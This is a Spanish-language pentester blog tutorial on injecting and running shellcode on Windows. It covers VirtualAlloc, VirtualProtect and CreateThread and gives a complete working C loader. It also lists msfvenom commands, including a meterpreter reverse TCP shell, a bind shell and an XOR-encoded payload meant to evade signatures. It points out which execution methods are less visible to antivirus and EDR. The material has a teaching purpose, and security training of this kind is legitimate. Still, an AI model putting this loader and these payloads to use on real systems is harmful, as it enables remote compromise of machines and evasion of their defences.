Inyección de Shellcode en Windows
La inyección de shellcode es una de las técnicas fundamentales en investigación de seguridad y desarrollo de malware. Esta guía te proporcionará tanto el conocimiento teórico como las habilidades prácticas necesarias para dominar esta técnica.
En este post crearemos un programa funcional en C que ejecuta shellcode en memoria de forma segura y controlada. Aprenderás exactamente cómo Windows maneja la memoria, cómo manipularla de forma segura y cómo ejecutar código arbitrario. Al final, no solo sabrás el “qué”, sino el “cómo” y el “por qué”.
Requisitos previos
- Conocimiento básico de C/C++ (no necesitas ser experto)
- Comprensión fundamental de arquitectura x64
- Entorno Windows (Windows 10/11 o máquina virtual)
- Visual Studio o MinGW para compilación
- Kali Linux con msfvenom (opcional, pero recomendado)
¿Qué es una Shellcode? Definición Técnica
Una shellcode es un fragmento compacto de código máquina, típicamente escrito en lenguaje ensamblador x86/x64, diseñado para ejecutarse como carga útil en exploits, inyecciones de código o malware.
¿Sabías que?
El término “shellcode” proviene originalmente de la intención de abrirse una shell de comandos, pero en la actualidad se usa para cualquier código inyectado que realice acciones específicas en un sistema comprometido.
Windows APIs Esenciales para Inyección de Código
Para inyectar y ejecutar shellcode en Windows, necesitamos dominar tres Windows APIs críticas que actúan en conjunto para manipular la memoria del proceso:
1. VirtualAlloc: Reservando Espacio de Memoria
Documentación oficial: Microsoft Learn - VirtualAlloc
VirtualAlloc es la función base para cualquier operación de inyección de código en Windows. Reserva o asigna memoria en el espacio de direcciones virtuales del proceso actual.
Firma de la función:
LPVOID VirtualAlloc(
LPVOID lpAddress, // Dirección deseada (NULL = automático)
SIZE_T dwSize, // Tamaño en bytes
DWORD flAllocationType, // Tipo de asignación
DWORD flProtect // Protección inicial
);
Parámetros detallados:
- lpAddress: Dirección inicial donde asignar memoria. Normalmente
NULLpara dejar que Windows decida automáticamente - dwSize: Tamaño en bytes. Debe ser múltiplo del tamaño de página (4096 bytes en x64)
- flAllocationType: Controla cómo se asigna la memoria:
MEM_COMMIT: Asigna memoria física realMEM_RESERVE: Solo reserva rango de direcciones (sin memoria física)MEM_COMMIT | MEM_RESERVE: Combinación (recomendada) para garantizar disponibilidad inmediata
- flProtect: Protección inicial de la página:
PAGE_READWRITE: Lectura/escritura (usado para escribir shellcode)PAGE_EXECUTE_READ: Ejecución/lectura (usado después de escribir)PAGE_EXECUTE_READWRITE: Ejecución/lectura/escritura (evitar por seguridad)
Valor de retorno: Dirección de la memoria asignada o NULL si falla
¿Por qué lo vamos a usar para inyectar una shellcode?:
Cuando hablamos de inyección de shellcode, VirtualAlloc juega un papel crucial. Esta función reserva un bloque de memoria limpio donde inyectaremos nuestro payload, y lo mejor es que te permite especificar exactamente qué permisos quieres desde el inicio (inicialmente PAGE_READWRITE para poder escribir el código). Una vez que la función termina, te devuelve la dirección exacta donde escribirás tu shellcode, por lo que sabes exactamente dónde trabajar.
2. VirtualProtect: Cambiando Permisos de Ejecución
Documentación oficial: Microsoft Learn - VirtualProtect
VirtualProtect modifica los permisos de una región de memoria ya asignada. Es crucial para convertir memoria de lectura/escritura en memoria ejecutable.
Firma de la función:
BOOL VirtualProtect(
LPVOID lpAddress, // Dirección de memoria
SIZE_T dwSize, // Tamaño
DWORD flNewProtect, // Nuevos permisos
PDWORD lpflOldProtect // Parámetro de retorno
);
Parámetros detallados:
- lpAddress: Dirección de inicio de la región a cambiar
- dwSize: Número de bytes a cambiar
- flNewProtect: Nuevos permisos (típicamente
PAGE_EXECUTE_READ) - lpflOldProtect: Puntero a variable
DWORDque recibe los permisos anteriores (importante para restaurar)
Valor de retorno: TRUE si tiene éxito, FALSE si falla
3. CreateThread: Ejecutando el Código Inyectado
Documentación oficial: Microsoft Learn - CreateThread
CreateThread crea un nuevo hilo dentro del proceso actual que comienza a ejecutar en una dirección de memoria especificada.
Firma de la función:
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes, // NULL normalmente
SIZE_T dwStackSize, // 0 = tamaño por defecto
LPTHREAD_START_ROUTINE lpStartAddress, // Dirección a ejecutar
LPVOID lpParameter, // Parámetro para función
DWORD dwCreationFlags, // 0 = ejecutar inmediatamente
LPDWORD lpThreadId // ID del hilo (NULL válido)
);
Ventajas de usar CreateThread:
- Aísla la ejecución en un hilo separado
- No interrumpe el flujo del programa principal
- Permite esperar a que termine la ejecución con
WaitForSingleObject - Más visible en monitoreo (algunos AVs detectan esto)
Alternativa: Puntero de función (menos detectable)
(*(VOID(*)()) shellcodeAddr)();
El flujo completo: cómo trabajan juntas las tres APIs
Ahora que hemos entendido cada API individualmente, es importante ver cómo trabajan en conjunto. La forma en que estas tres APIs se coordinan es elegante y sencilla.
Primero, utilizamos VirtualAlloc para reservar un bloque de memoria limpio en el espacio de direcciones del proceso, estableciendo permisos iniciales de PAGE_READWRITE para poder escribir el código. Una vez que hemos copiado el shellcode en esa ubicación, llamamos a VirtualProtect para cambiar esos permisos a PAGE_EXECUTE_READ, permitiendo que la CPU pueda leer y ejecutar el código sin poder modificarlo. Finalmente, utilizamos CreateThread para crear un nuevo hilo que comience a ejecutar desde la dirección donde colocamos nuestro shellcode.
Generando tu Primera Shellcode con Msfvenom
Ahora que entiendes cómo funcionan las APIs de Windows y cómo trabajan juntas para ejecutar código, es momento de crear el payload que inyectaremos. Aquí es donde entra en juego msfvenom, una herramienta poderosa que genera automáticamente el shellcode que necesitamos.
En lugar de escribir manualmente código en ensamblador (lo cual veremos en próximos posts), msfvenom genera el código máquina compilado listo para inyectar. Esta herramienta es estándar en el ámbito de la seguridad ofensiva y te permite crear payloads personalizados en cuestión de segundos.
Requisitos
- Kali Linux o cualquier distribución con Metasploit Framework instalado
- msfvenom (incluido por defecto en Kali)
Generando shellcode x64 para ejecutar calc.exe
La siguiente línea genera un payload que ejecuta la calculadora de Windows:
msfvenom --platform windows --arch x64 -p windows/x64/exec CMD=calc.exe -f c
Desglose de parámetros:
-platform windows: Especifica que es para Windows-arch x64: Arquitectura de 64 bits (x86-64)p windows/x64/exec: Payload que ejecuta comandosCMD=calc.exe: El comando a ejecutarf c: Formato de salida C (array de bytes)
Salida esperada
El comando generará algo como:

Este es un array de bytes que contiene el código máquina que ejecutará nuestro comando.
Comandos alternativos útiles
La belleza de msfvenom es su flexibilidad. Aunque hemos visto cómo generar un payload simple que ejecuta calc.exe, la herramienta puede crear mucho más. Aquí te mostramos algunos comandos útiles para diferentes escenarios comunes en pentest e investigación de seguridad.
Reverse shell TCP:
msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 -f c
Bind shell (escucha en puerto):
msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/bind_tcp \
LPORT=4444 -f c
Payload con codificación (evitar firmas):
msfvenom --platform windows --arch x64 -p windows/x64/exec CMD=calc.exe \
-e x64/xor -f c -i 3
Implementación práctica: Manos a la obra
Ya hemos cubierto toda la teoría: entiendes cómo funcionan las APIs de Windows, cómo se coordinan entre sí, y cómo generar payloads con msfvenom. Ahora es momento de poner todo esto en práctica y crear un programa funcional.
Comenzaremos con el primer paso fundamental: reservar memoria limpia donde inyectaremos nuestro shellcode usando VirtualAlloc.
Reservando memoria
Empecemos con lo más simple: calcular cuánto espacio necesitamos y decirle a Windows que nos reserve un bloque de memoria limpio. Para esto usamos VirtualAlloc, que es exactamente lo que necesitamos en este momento.
size_t shellcode_size = sizeof(buf);
PVOID shellcodeAddr = VirtualAlloc(
NULL, // Windows elige la dirección
shellcode_size, // Número de bytes a reservar
MEM_COMMIT | MEM_RESERVE, // Ambas flags combinadas
PAGE_READWRITE // Permisos iniciales
);
if (shellcodeAddr == NULL) {
printf("Error: VirtualAlloc falló (%lu)\n", GetLastError());
return 1;
}
Puntos clave:
sizeof(buf)obtiene automáticamente el tamaño exacto del array en bytesMEM_COMMIT | MEM_RESERVEgarantiza disponibilidad inmediataPAGE_READWRITEpermite escribir el shellcode inicialmente- Siempre verificar que
VirtualAllocdevuelva una dirección válida
Cambiando Permisos de Memoria con VirtualProtect
Ya tenemos el shellcode en memoria, pero todavía no puede ejecutarse. Windows protege la memoria por defecto, así que necesitamos cambiar los permisos para que la CPU pueda realmente ejecutar el código. Para esto usamos VirtualProtect.
Copiando y protegiendo
// Copiar shellcode a memoria
memcpy(shellcodeAddr, buf, shellcode_size);
// Cambiar permisos a ejecutable
DWORD oldProtect = 0;
BOOL result = VirtualProtect(
shellcodeAddr, // Dirección a cambiar
shellcode_size, // Tamaño
PAGE_EXECUTE_READ, // Nuevos permisos
&oldProtect // Guardar permisos anteriores
);
if (!result) {
printf("Error: VirtualProtect falló (%lu)\n", GetLastError());
VirtualFree(shellcodeAddr, 0, MEM_RELEASE);
return 1;
}
Proceso paso a paso:
memcpycopia bytes del array al heapVirtualProtectcambia permisos a PAGE_EXECUTE_READ- Ahora la CPU puede ejecutar el código
Ejecutando la Shellcode con CreateThread
Llegamos al momento de la verdad: ahora vamos a ejecutar realmente el shellcode. La forma más común y segura de hacerlo es crear un nuevo hilo dentro de nuestro proceso que comience a ejecutarse en la dirección donde colocamos el código. Para esto usamos CreateThread.
Método 1: Usando CreateThread
HANDLE hThread = CreateThread(
NULL, // Atributos por defecto
0, // Stack size por defecto
(LPTHREAD_START_ROUTINE)shellcodeAddr, // Dirección del shellcode
NULL, // Sin parámetros
0, // Ejecutar inmediatamente
NULL // Sin ID
);
if (hThread != NULL) {
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
} else {
printf("Error: CreateThread falló (%lu)\n", GetLastError());
VirtualFree(shellcodeAddr, 0, MEM_RELEASE);
return 1;
}
Ventajas:
- ✅ Aísla la ejecución en un hilo separado
- ✅ Más seguro (no bloquea el thread principal)
- ❌ Más visible para EDR/AV
Método Alternativo: Puntero de Función (Menos Detectable)
Una técnica alternativa más sencilla es usar un puntero de función. Este método es menos visible para antivirus que monitorean CreateThread.
Usando puntero de función
// Typedef para mayor legibilidad
typedef VOID (*ShellcodeFunc)();
ShellcodeFunc pShellcode = (ShellcodeFunc)shellcodeAddr;
pShellcode(); // Ejecutar
Ventajas y desventajas:
Función de puntero:
- ✅ Menos visible para monitoreo estándar
- ✅ Código más compacto
- ❌ Bloquea el thread principal
- ❌ Si el shellcode no retorna, el programa cuelga
Código Completo y Demostración
Versión completa funcional
#include <windows.h>
#include <stdio.h>
#include <string.h>
typedef VOID(*ShellcodeFunc)();
int main() {
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
// [... aquí tu shellcode ]
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
size_t shellcode_size = sizeof(buf);
printf("[*] Tamaño: %zu bytes\n\n", shellcode_size);
// PASO 1: Reservar memoria
PVOID shellcodeAddr = VirtualAlloc(
NULL, shellcode_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (!shellcodeAddr) {
printf("[!] VirtualAlloc falló\n");
return 1;
}
printf("[+] Memoria en: 0x%p\n", shellcodeAddr);
getchar();
// PASO 2: Copiar shellcode
memcpy(shellcodeAddr, buf, shellcode_size);
printf("[+] Shellcode copiado\n");
getchar();
// PASO 3: Cambiar permisos
DWORD oldProtect = 0;
if (!VirtualProtect(shellcodeAddr, shellcode_size,
PAGE_EXECUTE_READ, &oldProtect)) {
printf("[!] VirtualProtect falló\n");
VirtualFree(shellcodeAddr, 0, MEM_RELEASE);
return 1;
}
printf("[+] Permisos cambiados\n");
getchar();
// PASO 4: Ejecutar
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcodeAddr, NULL, 0, NULL);
getchar();
if (hThread != NULL) {
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
else {
printf("Error: CreateThread falló (%lu)\n", GetLastError());
VirtualFree(shellcodeAddr, 0, MEM_RELEASE);
return 1;
}
}
Compilación y ejecución
Compilar:
# MinGW
gcc -o shellcode_demo.exe main.c -lkernel32
# Visual Studio
cl main.c kernel32.lib
Demo:

Subiendo a VirusTotal: Entendiendo las Detecciones
Ahora que tenemos nuestro binario compilado, es momento de hacer una prueba importante: subir el ejecutable a VirusTotal para ver cómo los antivirus lo detectan.
¿Por qué se detecta?
Es completamente normal que nuestro shellcode injector sea detectado por múltiples antivirus. Esto ocurre porque:
- No tiene ofuscación: El código es directo y fácil de analizar
- Usa APIs detectables: VirtualAlloc, VirtualProtect y CreateThread son patrones comunes en malware
- Sin encriptación: El shellcode está en texto plano
- Sin anti-análisis: No tenemos protecciones contra debuggers o análisis dinámicos
Resultado esperado en VirusTotal
Al subir el binario a VirusTotal, verás algo como esto:

Multiples motores de análisis lo detectarán como potencial shellcode injector o malware genérico. Esto es esperado y demuestra que nuestro código funciona, pero también que necesita protecciones.
En proximos posts veremos como proteger y modificar nuestro binario para que sea mas dificil de detectar.
Lo que hemos aprendido
En este tutorial completo sobre inyección de shellcode, hemos cubierto:
- Fundamentos teóricos: Qué es shellcode y por qué es importante
- Windows APIs críticas: VirtualAlloc, VirtualProtect y CreateThread
- Generación de payloads: Cómo usar msfvenom para crear shellcode
- Implementación práctica: Código funcional step-by-step
- Métodos de ejecución: CreateThread vs puntero de función
Reflexión sobre lo aprendido
A lo largo de este viaje, hemos descubierto que la inyección de shellcode no es magia, sino un proceso lógico y bien definido. Hemos visto cómo tres APIs simples de Windows pueden coordinarse para realizar tareas poderosas.
Lo más importante es que ahora entiendes no solo el “qué” (cómo inyectar shellcode), sino el “por qué” detrás de cada paso.
Recuerda que este conocimiento conlleva responsabilidad: úsalo siempre en contextos autorizados y de forma ética.
Sobre el autor
Pentester specializing in penetration testing, vulnerability identification, and securing systems against advanced threats.